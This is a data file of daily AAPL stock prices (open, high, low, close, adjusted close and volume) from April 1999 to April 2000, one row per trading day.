-1999-04-27,1.5357142686843872,1.6361607313156128,1.5357142686843872,1.6339285373687744,1.4216830730438232,526512000.0,AAPL -1999-04-28,1.59375,1.6316964626312256,1.5580357313156128,1.5736607313156128,1.3692436218261719,238747600.0,AAPL -1999-04-29,1.5446428060531616,1.5848214626312256,1.4921875,1.5357142686843872,1.3362265825271606,197327200.0,AAPL -1999-04-30,1.5714285373687744,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4294512271881104,368082400.0,AAPL -1999-05-03,1.6450892686843872,1.7857142686843872,1.6339285373687744,1.7700892686843872,1.540156602859497,367609200.0,AAPL -1999-05-04,1.7232142686843872,1.7366071939468384,1.6495535373687744,1.6607142686843872,1.4449890851974487,202809600.0,AAPL -1999-05-05,1.6540178060531616,1.6785714626312256,1.59375,1.6785714626312256,1.4605265855789185,144824400.0,AAPL -1999-05-06,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.5892857313156128,1.3828390836715698,108287200.0,AAPL -1999-05-07,1.59375,1.6383928060531616,1.5267857313156128,1.6383928060531616,1.4255672693252563,108679200.0,AAPL -1999-05-10,1.6696428060531616,1.6763392686843872,1.59375,1.6160714626312256,1.406145453453064,98249200.0,AAPL -1999-05-11,1.6026785373687744,1.6495535373687744,1.5558035373687744,1.5982142686843872,1.3906077146530151,114648800.0,AAPL -1999-05-12,1.6026785373687744,1.6607142686843872,1.5758928060531616,1.6607142686843872,1.4449890851974487,98781200.0,AAPL -1999-05-13,1.6584821939468384,1.671875,1.625,1.6495535373687744,1.4352781772613525,73880800.0,AAPL -1999-05-14,1.6116071939468384,1.6361607313156128,1.5848214626312256,1.5848214626312256,1.3789544105529785,56658000.0,AAPL -1999-05-17,1.5625,1.5959821939468384,1.5357142686843872,1.5848214626312256,1.3789544105529785,52690400.0,AAPL -1999-05-18,1.6004464626312256,1.6428571939468384,1.5848214626312256,1.6160714626312256,1.406145453453064,104594000.0,AAPL -1999-05-19,1.625,1.6339285373687744,1.5535714626312256,1.6138392686843872,1.4042030572891235,74569600.0,AAPL -1999-05-20,1.6227678060531616,1.6339285373687744,1.5178571939468384,1.5178571939468384,1.3206889629364014,104428800.0,AAPL -1999-05-21,1.5357142686843872,1.5825892686843872,1.5200892686843872,1.5691964626312256,1.3653593063354492,115796800.0,AAPL -1999-05-24,1.5580357313156128,1.5825892686843872,1.4955357313156128,1.4977678060531616,1.3032090663909912,65231600.0,AAPL -1999-05-25,1.484375,1.515625,1.4620535373687744,1.4821428060531616,1.2896136045455933,91627200.0,AAPL -1999-05-26,1.4910714626312256,1.5848214626312256,1.4732142686843872,1.5736607313156128,1.3692436218261719,109387600.0,AAPL -1999-05-27,1.5424107313156128,1.5625,1.5245535373687744,1.5535714626312256,1.3517639636993408,84190400.0,AAPL -1999-05-28,1.546875,1.5825892686843872,1.5401785373687744,1.5736607313156128,1.3692436218261719,50282400.0,AAPL -1999-06-01,1.6071428060531616,1.6183035373687744,1.5848214626312256,1.6004464626312256,1.3925501108169556,115256400.0,AAPL -1999-06-02,1.5892857313156128,1.7120535373687744,1.5714285373687744,1.6629464626312256,1.44693124294281,130264400.0,AAPL -1999-06-03,1.6741071939468384,1.7142857313156128,1.671875,1.6941964626312256,1.4741218090057373,122127600.0,AAPL -1999-06-04,1.7008928060531616,1.7209821939468384,1.6875,1.71875,1.495485782623291,92170400.0,AAPL -1999-06-07,1.71875,1.75,1.6964285373687744,1.7477678060531616,1.5207346677780151,104571600.0,AAPL -1999-06-08,1.7410714626312256,1.7433035373687744,1.6986607313156128,1.703125,1.4818905591964722,78414000.0,AAPL -1999-06-09,1.6941964626312256,1.7321428060531616,1.6941964626312256,1.7299107313156128,1.5051968097686768,88446400.0,AAPL -1999-06-10,1.7098214626312256,1.7232142686843872,1.6897321939468384,1.71875,1.495485782623291,79262400.0,AAPL -1999-06-11,1.71875,1.7321428060531616,1.6517857313156128,1.6584821939468384,1.4430469274520874,46261600.0,AAPL -1999-06-14,1.6607142686843872,1.6651785373687744,1.6116071939468384,1.6227678060531616,1.4119718074798584,39270000.0,AAPL -1999-06-15,1.6138392686843872,1.6696428060531616,1.6116071939468384,1.6450892686843872,1.4313938617706299,32597600.0,AAPL -1999-06-16,1.65625,1.7165178060531616,1.65625,1.7120535373687744,1.4896595478057861,56254800.0,AAPL -1999-06-17,1.7008928060531616,1.7142857313156128,1.6339285373687744,1.65625,1.441104531288147,56100800.0,AAPL -1999-06-18,1.6205357313156128,1.6875,1.6138392686843872,1.6830357313156128,1.4644111394882202,52015600.0,AAPL -1999-06-21,1.6785714626312256,1.6875,1.6428571939468384,1.6607142686843872,1.4449890851974487,33787600.0,AAPL -1999-06-22,1.6540178060531616,1.6763392686843872,1.6205357313156128,1.6205357313156128,1.410029649734497,37769200.0,AAPL -1999-06-23,1.609375,1.6104910373687744,1.5558035373687744,1.5602678060531616,1.357590675354004,132874000.0,AAPL -1999-06-24,1.5580357313156128,1.5580357313156128,1.5089285373687744,1.5111607313156128,1.3148623704910278,108340400.0,AAPL -1999-06-25,1.5178571939468384,1.5245535373687744,1.5022321939468384,1.5066964626312256,1.3109782934188843,73533600.0,AAPL -1999-06-28,1.515625,1.5334821939468384,1.5133928060531616,1.5200892686843872,1.3226310014724731,69423200.0,AAPL -1999-06-29,1.5256696939468384,1.6272321939468384,1.5223214626312256,1.6205357313156128,1.410029649734497,95096400.0,AAPL -1999-06-30,1.6316964626312256,1.6763392686843872,1.6049107313156128,1.6540178060531616,1.4391627311706543,85817200.0,AAPL -1999-07-01,1.6540178060531616,1.6629464626312256,1.6160714626312256,1.6183035373687744,1.4080874919891357,37304400.0,AAPL -1999-07-02,1.6261160373687744,1.6741071939468384,1.6138392686843872,1.6540178060531616,1.4391627311706543,30920400.0,AAPL -1999-07-06,1.640625,1.7008928060531616,1.6361607313156128,1.6919642686843872,1.4721795320510864,113453200.0,AAPL -1999-07-07,1.6919642686843872,1.8125,1.6785714626312256,1.78125,1.5498672723770142,274789200.0,AAPL -1999-07-08,1.8258928060531616,1.9665178060531616,1.8169642686843872,1.9464285373687744,1.693589210510254,406260400.0,AAPL -1999-07-09,1.9464285373687744,1.9866071939468384,1.8928571939468384,1.9866071939468384,1.7285490036010742,152174400.0,AAPL -1999-07-12,1.9821428060531616,1.9866071939468384,1.9352678060531616,1.9464285373687744,1.693589210510254,75978000.0,AAPL -1999-07-13,1.9107142686843872,1.9352678060531616,1.8883928060531616,1.9174107313156128,1.6683406829833984,70814800.0,AAPL -1999-07-14,1.9464285373687744,2.0223214626312256,1.9464285373687744,1.9977678060531616,1.7382595539093018,156139200.0,AAPL -1999-07-15,1.9955357313156128,1.9977678060531616,1.8325892686843872,1.9017857313156128,1.6547456979751587,422951200.0,AAPL -1999-07-16,1.9151785373687744,1.9464285373687744,1.8928571939468384,1.8950892686843872,1.648918867111206,102874800.0,AAPL -1999-07-19,1.9263392686843872,1.9933035373687744,1.8683035373687744,1.9441964626312256,1.6916471719741821,140324800.0,AAPL -1999-07-20,1.9486607313156128,1.9821428060531616,1.8839285373687744,1.8883928060531616,1.643092393875122,110518800.0,AAPL -1999-07-21,1.9308035373687744,1.9799107313156128,1.8883928060531616,1.9308035373687744,1.6799943447113037,179541600.0,AAPL -1999-07-22,1.9151785373687744,1.9241071939468384,1.8258928060531616,1.8705357313156128,1.6275548934936523,101682000.0,AAPL -1999-07-23,1.8861607313156128,1.9196428060531616,1.8816964626312256,1.9040178060531616,1.6566874980926514,57262800.0,AAPL -1999-07-26,1.8883928060531616,1.8928571939468384,1.8169642686843872,1.8191964626312256,1.5828841924667358,87796800.0,AAPL -1999-07-27,1.8794642686843872,1.9263392686843872,1.875,1.9174107313156128,1.6683406829833984,98977200.0,AAPL -1999-07-28,1.9241071939468384,1.9776785373687744,1.8928571939468384,1.9419642686843872,1.6897050142288208,82227600.0,AAPL -1999-07-29,1.90625,1.9732142686843872,1.8973214626312256,1.9241071939468384,1.6741673946380615,68868800.0,AAPL -1999-07-30,1.9464285373687744,2.0044643878936768,1.9464285373687744,1.9888392686843872,1.730491042137146,95785200.0,AAPL -1999-08-02,1.9866071939468384,2.0714285373687744,1.9821428060531616,1.9910714626312256,1.7324334383010864,90610800.0,AAPL -1999-08-03,2.0267856121063232,2.0513393878936768,1.9151785373687744,1.9732142686843872,1.7168954610824585,92094800.0,AAPL -1999-08-04,1.9709821939468384,1.9955357313156128,1.9017857313156128,1.921875,1.6722252368927002,92856400.0,AAPL -1999-08-05,1.9107142686843872,1.9598214626312256,1.8616071939468384,1.9553571939468384,1.7013579607009888,80634400.0,AAPL -1999-08-06,1.9308035373687744,1.9754464626312256,1.9107142686843872,1.9330357313156128,1.6819361448287964,108889200.0,AAPL -1999-08-09,1.9408482313156128,1.9709821939468384,1.9375,1.9441964626312256,1.6916471719741821,58321200.0,AAPL -1999-08-10,1.9285714626312256,2.0,1.9151785373687744,1.9776785373687744,1.7207800149917603,104056400.0,AAPL -1999-08-11,2.0,2.1339285373687744,1.9977678060531616,2.1316964626312256,1.8547911643981934,212584400.0,AAPL -1999-08-12,2.109375,2.1919643878936768,2.09375,2.142857074737549,1.8645015954971313,166527200.0,AAPL -1999-08-13,2.1651785373687744,2.2142856121063232,2.138392925262451,2.1450893878936768,1.8664438724517822,74608800.0,AAPL -1999-08-16,2.1361606121063232,2.1674106121063232,2.125,2.1607143878936768,1.8800394535064697,69232800.0,AAPL -1999-08-17,2.154017925262451,2.15625,2.1049106121063232,2.154017925262451,1.8742128610610962,80234000.0,AAPL -1999-08-18,2.1450893878936768,2.2142856121063232,2.1294643878936768,2.1473214626312256,1.8683862686157227,117143600.0,AAPL -1999-08-19,2.1361606121063232,2.1607143878936768,2.091517925262451,2.0982143878936768,1.8256582021713257,137505200.0,AAPL -1999-08-20,2.1160714626312256,2.1205356121063232,2.078125,2.1138393878936768,1.8392534255981445,81986800.0,AAPL -1999-08-23,2.1205356121063232,2.1919643878936768,2.1183035373687744,2.169642925262451,1.8878079652786255,88891600.0,AAPL -1999-08-24,2.15625,2.169642925262451,2.140625,2.15625,1.876155138015747,125566000.0,AAPL -1999-08-25,2.1674106121063232,2.1964285373687744,2.1473214626312256,2.1919643878936768,1.9072304964065552,73791200.0,AAPL -1999-08-26,2.1830356121063232,2.2544643878936768,2.1830356121063232,2.21875,1.9305367469787598,101122000.0,AAPL -1999-08-27,2.2410714626312256,2.3214285373687744,2.2388393878936768,2.3125,2.0121092796325684,111708800.0,AAPL -1999-08-30,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.216517925262451,1.9285941123962402,84148400.0,AAPL -1999-08-31,2.2354910373687744,2.3526785373687744,2.216517925262451,2.330357074737549,2.02764630317688,158636800.0,AAPL -1999-09-01,2.392857074737549,2.4575893878936768,2.357142925262451,2.450892925262451,2.132524251937866,197156400.0,AAPL -1999-09-02,2.4151785373687744,2.5513393878936768,2.388392925262451,2.5200893878936768,2.1927318572998047,223787200.0,AAPL -1999-09-03,2.5691964626312256,2.6875,2.517857074737549,2.625,2.28401517868042,408816800.0,AAPL -1999-09-07,2.6339285373687744,2.783482074737549,2.625,2.7276785373687744,2.3733553886413574,246198400.0,AAPL -1999-09-08,2.720982074737549,2.7745535373687744,2.6607143878936768,2.6607143878936768,2.315089702606201,190551200.0,AAPL -1999-09-09,2.6964285373687744,2.7120535373687744,2.638392925262451,2.6986606121063232,2.34810733795166,133520800.0,AAPL -1999-09-10,2.7142856121063232,2.7745535373687744,2.6674106121063232,2.765625,2.4063730239868164,114690800.0,AAPL -1999-09-13,2.752232074737549,2.752232074737549,2.671875,2.6785714626312256,2.330627918243408,63000000.0,AAPL -1999-09-14,2.6685268878936768,2.8035714626312256,2.6674106121063232,2.779017925262451,2.4180262088775635,97073200.0,AAPL -1999-09-15,2.8169643878936768,2.825892925262451,2.6875,2.6919643878936768,2.342280387878418,89894000.0,AAPL -1999-09-16,2.716517925262451,2.7879464626312256,2.638392925262451,2.7433035373687744,2.386950731277466,110471200.0,AAPL -1999-09-17,2.7611606121063232,2.7767856121063232,2.7232143878936768,2.747767925262451,2.3908352851867676,69319600.0,AAPL -1999-09-20,2.75,2.861607074737549,2.7455356121063232,2.8236606121063232,2.456869602203369,114167200.0,AAPL -1999-09-21,2.6138393878936768,2.6160714626312256,2.4642856121063232,2.4732143878936768,2.1519458293914795,839389600.0,AAPL -1999-09-22,2.4910714626312256,2.5580356121063232,2.46484375,2.5111606121063232,2.1849639415740967,280792400.0,AAPL -1999-09-23,2.5401785373687744,2.544642925262451,2.25,2.2611606121063232,1.9674386978149414,285938800.0,AAPL -1999-09-24,2.263392925262451,2.3934152126312256,2.25,2.3191964626312256,2.0179359912872314,294968800.0,AAPL -1999-09-27,2.3705356121063232,2.3839285373687744,2.185267925262451,2.189732074737549,1.9052879810333252,237048000.0,AAPL -1999-09-28,2.1964285373687744,2.2142856121063232,2.0513393878936768,2.1294643878936768,1.8528491258621216,353740800.0,AAPL -1999-09-29,2.1517856121063232,2.1875,2.0714285373687744,2.109375,1.8353691101074219,164320800.0,AAPL -1999-09-30,2.127232074737549,2.2924106121063232,2.1160714626312256,2.2611606121063232,1.9674386978149414,227021200.0,AAPL -1999-10-01,2.21875,2.2299106121063232,2.125,2.2042410373687744,1.9179128408432007,153697600.0,AAPL -1999-10-04,2.2276785373687744,2.3169643878936768,2.2276785373687744,2.3058035373687744,2.006281614303589,114839200.0,AAPL -1999-10-05,2.34375,2.4330356121063232,2.3125,2.4263393878936768,2.1111602783203125,203551600.0,AAPL -1999-10-06,2.4776785373687744,2.486607074737549,2.392857074737549,2.3995535373687744,2.0878539085388184,201068000.0,AAPL -1999-10-07,2.4441964626312256,2.450892925262451,2.3169643878936768,2.3705356121063232,2.062605619430542,151471600.0,AAPL -1999-10-08,2.3638393878936768,2.3683035373687744,2.267857074737549,2.341517925262451,2.0373573303222656,95701200.0,AAPL -1999-10-11,2.357142925262451,2.4375,2.357142925262451,2.3816964626312256,2.072316884994507,65780400.0,AAPL -1999-10-12,2.424107074737549,2.486607074737549,2.392857074737549,2.4174106121063232,2.1033918857574463,140938000.0,AAPL -1999-10-13,2.3794643878936768,2.482142925262451,2.2767856121063232,2.286830425262451,1.9897736310958862,159182800.0,AAPL -1999-10-14,2.4732143878936768,2.6183035373687744,2.4642856121063232,2.6138393878936768,2.274304151535034,474700800.0,AAPL -1999-10-15,2.5401785373687744,2.7075893878936768,2.5066964626312256,2.6629464626312256,2.3170320987701416,293294400.0,AAPL -1999-10-18,2.638392925262451,2.6517856121063232,2.5401785373687744,2.6160714626312256,2.2762460708618164,194101600.0,AAPL -1999-10-19,2.5580356121063232,2.6785714626312256,2.4441964626312256,2.4464285373687744,2.1286399364471436,255645600.0,AAPL -1999-10-20,2.5,2.6875,2.5,2.6830356121063232,2.3345110416412354,270351200.0,AAPL -1999-10-21,2.591517925262451,2.752232074737549,2.5848214626312256,2.71875,2.3655877113342285,198363200.0,AAPL -1999-10-22,2.7544643878936768,2.7589285373687744,2.6205356121063232,2.640625,2.2976107597351074,104876800.0,AAPL -1999-10-25,2.6517856121063232,2.71875,2.6339285373687744,2.6607143878936768,2.315089702606201,81648000.0,AAPL -1999-10-26,2.6763393878936768,2.6964285373687744,2.6183035373687744,2.6808035373687744,2.332568883895874,90358800.0,AAPL -1999-10-27,2.65625,2.736607074737549,2.622767925262451,2.7276785373687744,2.3733553886413574,110768000.0,AAPL -1999-10-28,2.752232074737549,2.8214285373687744,2.716517925262451,2.78125,2.4199681282043457,126022400.0,AAPL -1999-10-29,2.814732074737549,2.8950893878936768,2.814732074737549,2.861607074737549,2.48988676071167,130762800.0,AAPL -1999-11-01,2.857142925262451,2.8816964626312256,2.763392925262451,2.7723214626312256,2.4121992588043213,69644400.0,AAPL -1999-11-02,2.7857143878936768,2.9174106121063232,2.7611606121063232,2.8660714626312256,2.4937713146209717,99808800.0,AAPL -1999-11-03,2.9151785373687744,2.9732143878936768,2.892857074737549,2.9107143878936768,2.5326154232025146,82115600.0,AAPL -1999-11-04,2.9308035373687744,3.049107074737549,2.8794643878936768,2.986607074737549,2.598649024963379,94771600.0,AAPL -1999-11-05,3.0223214626312256,3.15625,3.0,3.154017925262451,2.7443137168884277,104202000.0,AAPL -1999-11-08,3.1339285373687744,3.490513324737549,3.0982143878936768,3.4419643878936768,2.994856357574463,237731200.0,AAPL -1999-11-09,3.3705356121063232,3.375,3.142857074737549,3.200892925262451,2.785100221633911,202294400.0,AAPL -1999-11-10,3.1517856121063232,3.330357074737549,3.1473214626312256,3.265625,2.8414230346679688,144474400.0,AAPL -1999-11-11,3.271205425262451,3.3080356121063232,3.2098214626312256,3.294642925262451,2.866671562194824,67468800.0,AAPL -1999-11-12,3.283482074737549,3.2857143878936768,3.1205356121063232,3.236607074737549,2.8161749839782715,69764800.0,AAPL -1999-11-15,3.200892925262451,3.3169643878936768,3.1607143878936768,3.1941964626312256,2.77927303314209,64976800.0,AAPL -1999-11-16,3.2142856121063232,3.2767856121063232,3.1607143878936768,3.2566964626312256,2.8336544036865234,58464000.0,AAPL -1999-11-17,3.2388393878936768,3.3839285373687744,3.2142856121063232,3.2232143878936768,2.8045217990875244,91142800.0,AAPL -1999-11-18,3.252232074737549,3.2544643878936768,3.158482074737549,3.200892925262451,2.785100221633911,91196000.0,AAPL -1999-11-19,3.1964285373687744,3.3169643878936768,3.1450893878936768,3.3013393878936768,2.8724982738494873,78128400.0,AAPL -1999-11-22,3.2767856121063232,3.2767856121063232,3.1875,3.236607074737549,2.8161749839782715,50590400.0,AAPL -1999-11-23,3.2767856121063232,3.4017856121063232,3.1607143878936768,3.314732074737549,2.8841519355773926,135828000.0,AAPL -1999-11-24,3.3214285373687744,3.392857074737549,3.2745535373687744,3.3816964626312256,2.942417860031128,53776800.0,AAPL -1999-11-26,3.3839285373687744,3.4107143878936768,3.361607074737549,3.3950893878936768,2.954070568084717,33017600.0,AAPL -1999-11-29,3.3660714626312256,3.5625,3.330357074737549,3.377232074737549,2.938533067703247,116040400.0,AAPL -1999-11-30,3.5044643878936768,3.705357074737549,3.4776785373687744,3.4955356121063232,3.0414693355560303,210795200.0,AAPL -1999-12-01,3.607142925262451,3.732142925262451,3.5736606121063232,3.6808035373687744,3.202670097351074,154641200.0,AAPL -1999-12-02,3.6830356121063232,3.950892925262451,3.6339285373687744,3.935267925262451,3.4240806102752686,141839600.0,AAPL -1999-12-03,4.0066962242126465,4.127232074737549,3.9955356121063232,4.107142925262451,3.5736289024353027,161980000.0,AAPL -1999-12-06,4.091517925262451,4.189732074737549,3.9799106121063232,4.142857074737549,3.604703903198242,116695600.0,AAPL -1999-12-07,4.1629462242126465,4.214285850524902,4.0714287757873535,4.207589149475098,3.6610267162323,111255200.0,AAPL -1999-12-08,4.151785850524902,4.2098212242126465,3.9107143878936768,3.9308035373687744,3.420196294784546,103087600.0,AAPL -1999-12-09,3.9642856121063232,3.9642856121063232,3.6026785373687744,3.7589285373687744,3.2706472873687744,213799600.0,AAPL -1999-12-10,3.7611606121063232,3.9017856121063232,3.5357143878936768,3.6785714626312256,3.20072865486145,159440400.0,AAPL -1999-12-13,3.6568081378936768,3.6607143878936768,3.533482074737549,3.5357143878936768,3.0764286518096924,132490400.0,AAPL -1999-12-14,3.513392925262451,3.5625,3.3839285373687744,3.388392925262451,2.9482436180114746,108967600.0,AAPL -1999-12-15,3.330357074737549,3.4732143878936768,3.252232074737549,3.4642856121063232,3.0142784118652344,155744400.0,AAPL -1999-12-16,3.5,3.513392925262451,3.357142925262451,3.5111606121063232,3.0550639629364014,115956400.0,AAPL -1999-12-17,3.6026785373687744,3.642857074737549,3.517857074737549,3.5714285373687744,3.1075029373168945,123751600.0,AAPL -1999-12-20,3.5558035373687744,3.5580356121063232,3.450892925262451,3.5,3.0453531742095947,70996800.0,AAPL -1999-12-21,3.5066964626312256,3.6808035373687744,3.497767925262451,3.6607143878936768,3.1851909160614014,76899200.0,AAPL -1999-12-22,3.674107074737549,3.734375,3.5267856121063232,3.5691964626312256,3.1055614948272705,81768400.0,AAPL -1999-12-23,3.6361606121063232,3.7232143878936768,3.609375,3.6964285373687744,3.216265916824341,57383200.0,AAPL -1999-12-27,3.7276785373687744,3.7299106121063232,3.544642925262451,3.546875,3.086139440536499,42098000.0,AAPL -1999-12-28,3.5401785373687744,3.5580356121063232,3.392857074737549,3.5066964626312256,3.051180124282837,61894000.0,AAPL -1999-12-29,3.4575893878936768,3.6495535373687744,3.4107143878936768,3.595982074737549,3.1288671493530273,71125600.0,AAPL -1999-12-30,3.6495535373687744,3.71875,3.5580356121063232,3.5825893878936768,3.1172142028808594,51786000.0,AAPL -1999-12-31,3.6049106121063232,3.674107074737549,3.5535714626312256,3.671875,3.194901466369629,40952800.0,AAPL -2000-01-03,3.7455356121063232,4.017857074737549,3.6316964626312256,3.997767925262451,3.4784622192382812,133949200.0,AAPL -2000-01-04,3.8660714626312256,3.950892925262451,3.6138393878936768,3.6607143878936768,3.1851909160614014,128094400.0,AAPL -2000-01-05,3.705357074737549,3.9486606121063232,3.6785714626312256,3.7142856121063232,3.2318031787872314,194580400.0,AAPL -2000-01-06,3.7901785373687744,3.8214285373687744,3.392857074737549,3.392857074737549,2.9521284103393555,191993200.0,AAPL -2000-01-07,3.4464285373687744,3.607142925262451,3.4107143878936768,3.5535714626312256,3.091965913772583,115183600.0,AAPL -2000-01-10,3.642857074737549,3.6517856121063232,3.3839285373687744,3.4910714626312256,3.0375845432281494,126266000.0,AAPL -2000-01-11,3.4263393878936768,3.549107074737549,3.232142925262451,3.3125,2.882209062576294,110387200.0,AAPL -2000-01-12,3.392857074737549,3.4107143878936768,3.0892856121063232,3.1138393878936768,2.7093539237976074,244017200.0,AAPL -2000-01-13,3.3744418621063232,3.5267856121063232,3.3035714626312256,3.455357074737549,3.006509780883789,258171200.0,AAPL -2000-01-14,3.5714285373687744,3.6517856121063232,3.549107074737549,3.5870535373687744,3.121098756790161,97594000.0,AAPL -2000-01-18,3.607142925262451,3.7857143878936768,3.5870535373687744,3.7120535373687744,3.229860544204712,114794400.0,AAPL -2000-01-19,3.7723214626312256,3.8839285373687744,3.6919643878936768,3.8058035373687744,3.3114330768585205,149410800.0,AAPL -2000-01-20,4.125,4.339285850524902,4.0535712242126465,4.0535712242126465,3.5270161628723145,457783200.0,AAPL -2000-01-21,4.080357074737549,4.080357074737549,3.935267925262451,3.9754464626312256,3.4590389728546143,123981200.0,AAPL -2000-01-24,3.872767925262451,4.026785850524902,3.7544643878936768,3.794642925262451,3.3017220497131348,110219200.0,AAPL -2000-01-25,3.75,4.0401787757873535,3.65625,4.0089287757873535,3.4881722927093506,124286400.0,AAPL -2000-01-26,3.9285714626312256,4.078125,3.919642925262451,3.935267925262451,3.4240806102752686,91789600.0,AAPL -2000-01-27,3.8861606121063232,4.035714149475098,3.8214285373687744,3.9285714626312256,3.4182538986206055,85036000.0,AAPL -2000-01-28,3.8638393878936768,3.9598214626312256,3.59375,3.6294643878936768,3.1580002307891846,105837200.0,AAPL -2000-01-31,3.607142925262451,3.7098214626312256,3.375,3.705357074737549,3.2240347862243652,175420000.0,AAPL -2000-02-01,3.7142856121063232,3.75,3.5714285373687744,3.580357074737549,3.11527156829834,79508800.0,AAPL -2000-02-02,3.5982143878936768,3.6473214626312256,3.4642856121063232,3.529017925262451,3.0706021785736084,116048800.0,AAPL -2000-02-03,3.5825893878936768,3.7232143878936768,3.580357074737549,3.689732074737549,3.210439682006836,118798400.0,AAPL -2000-02-04,3.7120535373687744,3.9285714626312256,3.700892925262451,3.857142925262451,3.3561038970947266,106330000.0,AAPL -2000-02-07,3.857142925262451,4.080357074737549,3.783482074737549,4.073660850524902,3.5444958209991455,110266800.0,AAPL -2000-02-08,4.0714287757873535,4.1473212242126465,3.9732143878936768,4.1026787757873535,3.5697450637817383,102160800.0,AAPL -2000-02-09,4.075892925262451,4.183035850524902,4.015625,4.0223212242126465,3.4998252391815186,74841200.0,AAPL -2000-02-10,4.03125,4.066964149475098,3.9285714626312256,4.0535712242126465,3.5270161628723145,75745600.0,AAPL -2000-02-11,4.058035850524902,4.075892925262451,3.8660714626312256,3.8839285373687744,3.3794100284576416,53062800.0,AAPL -2000-02-14,3.904017925262451,4.138392925262451,3.8794643878936768,4.136160850524902,3.5988776683807373,91884800.0,AAPL -2000-02-15,4.1160712242126465,4.283482074737549,4.113839149475098,4.25,3.6979289054870605,121436000.0,AAPL -2000-02-16,4.205357074737549,4.21875,4.004464149475098,4.075892925262451,3.5464389324188232,94561600.0,AAPL -2000-02-17,4.113839149475098,4.125,4.0401787757873535,4.1026787757873535,3.5697450637817383,72374400.0,AAPL -2000-02-18,4.09375,4.120535850524902,3.9598214626312256,3.9732143878936768,3.4570980072021484,58360400.0,AAPL -2000-02-22,3.9330356121063232,4.176339149475098,3.810267925262451,4.064732074737549,3.5367274284362793,105574000.0,AAPL -2000-02-23,4.0440850257873535,4.25,3.9642856121063232,4.151785850524902,3.6124725341796875,118274800.0,AAPL -2000-02-24,4.189732074737549,4.254464149475098,3.9910714626312256,4.1143975257873535,3.579941749572754,94108000.0,AAPL -2000-02-25,4.1004462242126465,4.1785712242126465,3.9330356121063232,3.9419643878936768,3.4299073219299316,62286000.0,AAPL -2000-02-28,3.9330356121063232,4.107142925262451,3.8705356121063232,4.044642925262451,3.51924729347229,82082000.0,AAPL -2000-02-29,4.0558037757873535,4.1875,4.020089149475098,4.09375,3.5619757175445557,92240400.0,AAPL -2000-03-01,4.234375,4.716517925262451,4.232142925262451,4.654017925262451,4.049465656280518,269250800.0,AAPL -2000-03-02,4.535714149475098,4.5691962242126465,4.310267925262451,4.357142925262451,3.791154623031616,77814800.0,AAPL -2000-03-03,4.4598212242126465,4.579799175262451,4.285714149475098,4.5714287757873535,3.9776039123535156,80841600.0,AAPL -2000-03-06,4.5,4.611607074737549,4.464285850524902,4.488839149475098,3.905742645263672,52640000.0,AAPL -2000-03-07,4.515625,4.551339149475098,4.325892925262451,4.388392925262451,3.818344831466675,68252800.0,AAPL -2000-03-08,4.388392925262451,4.426339149475098,4.234375,4.357142925262451,3.791154623031616,67807600.0,AAPL -2000-03-09,4.316964149475098,4.464285850524902,4.223214149475098,4.3660712242126465,3.7989227771759033,69179600.0,AAPL -2000-03-10,4.345982074737549,4.5691962242126465,4.3214287757873535,4.4910712242126465,3.907684803009033,62151600.0,AAPL -2000-03-13,4.361607074737549,4.517857074737549,4.267857074737549,4.332589149475098,3.769789457321167,75989200.0,AAPL -2000-03-14,4.3292412757873535,4.4375,4.0714287757873535,4.080357074737549,3.550323009490967,107144800.0,AAPL -2000-03-15,4.129464149475098,4.294642925262451,4.075892925262451,4.151785850524902,3.6124725341796875,110902400.0,AAPL -2000-03-16,4.189732074737549,4.357142925262451,4.089285850524902,4.341517925262451,3.7775588035583496,94525200.0,AAPL -2000-03-17,4.2901787757873535,4.464285850524902,4.2723212242126465,4.464285850524902,3.8843791484832764,76260800.0,AAPL -2000-03-20,4.410714149475098,4.5089287757873535,4.370535850524902,4.392857074737549,3.8222298622131348,51122400.0,AAPL -2000-03-21,4.377232074737549,4.8839287757873535,4.34375,4.8191962242126465,4.1931867599487305,131082000.0,AAPL -2000-03-22,4.7421875,5.15625,4.698660850524902,5.1495537757873535,4.480630874633789,141999200.0,AAPL -2000-03-23,5.0714287757873535,5.370535850524902,5.0,5.046875,4.391289710998535,140641200.0,AAPL -2000-03-24,5.0870537757873535,5.140625,4.839285850524902,4.953125,4.309718132019043,111728400.0,AAPL -2000-03-27,4.9151787757873535,5.169642925262451,4.888392925262451,4.984375,4.33690881729126,69795600.0,AAPL -2000-03-28,4.901785850524902,5.0714287757873535,4.8973212242126465,4.96875,4.3233137130737305,50741600.0,AAPL -2000-03-29,4.9776787757873535,4.979910850524902,4.779575824737549,4.854910850524902,4.224262237548828,59959200.0,AAPL -2000-03-30,4.770089149475098,4.917410850524902,4.479910850524902,4.4910712242126465,3.907684803009033,103600000.0,AAPL -2000-03-31,4.551339149475098,4.901785850524902,4.5,4.8504462242126465,4.220376491546631,101158400.0,AAPL -2000-04-03,4.839285850524902,4.982142925262451,4.622767925262451,4.761160850524902,4.1426897048950195,82140800.0,AAPL -2000-04-04,4.736607074737549,4.75,4.169642925262451,4.546875,3.9562392234802246,165082400.0,AAPL -2000-04-05,4.5167412757873535,4.745535850524902,4.4285712242126465,4.65625,4.051407337188721,114416400.0,AAPL -2000-04-06,4.6651787757873535,4.8035712242126465,4.401785850524902,4.470982074737549,3.890205144882202,64906800.0,AAPL -2000-04-07,4.544642925262451,4.7098212242126465,4.482142925262451,4.705357074737549,4.09413480758667,60608800.0,AAPL -2000-04-10,4.703125,4.7410712242126465,4.455357074737549,4.464285850524902,3.8843791484832764,53065600.0,AAPL -2000-04-11,4.410714149475098,4.4598212242126465,4.216517925262451,4.265625,3.7115237712860107,135455600.0,AAPL -2000-04-12,4.25,4.25,3.7455356121063232,3.9017856121063232,3.394946575164795,235284000.0,AAPL -2000-04-13,3.982142925262451,4.285714149475098,3.875,4.064732074737549,3.5367274284362793,132456800.0,AAPL -2000-04-14,3.904017925262451,4.214285850524902,3.892857074737549,3.9955356121063232,3.4765191078186035,166905200.0,AAPL -2000-04-17,3.9107143878936768,4.426339149475098,3.8950893878936768,4.424107074737549,3.8494198322296143,102390400.0,AAPL -2000-04-18,4.410714149475098,4.53125,4.263392925262451,4.53125,3.942645311355591,97731200.0,AAPL -2000-04-19,4.5066962242126465,4.651785850524902,4.276785850524902,4.325892925262451,3.7639636993408203,130037600.0,AAPL -2000-04-20,4.417410850524902,4.455357074737549,4.1808037757873535,4.245535850524902,3.694044589996338,180530000.0,AAPL -2000-04-24,4.107142925262451,4.3035712242126465,4.098214149475098,4.3035712242126465,3.744541645050049,110905200.0,AAPL 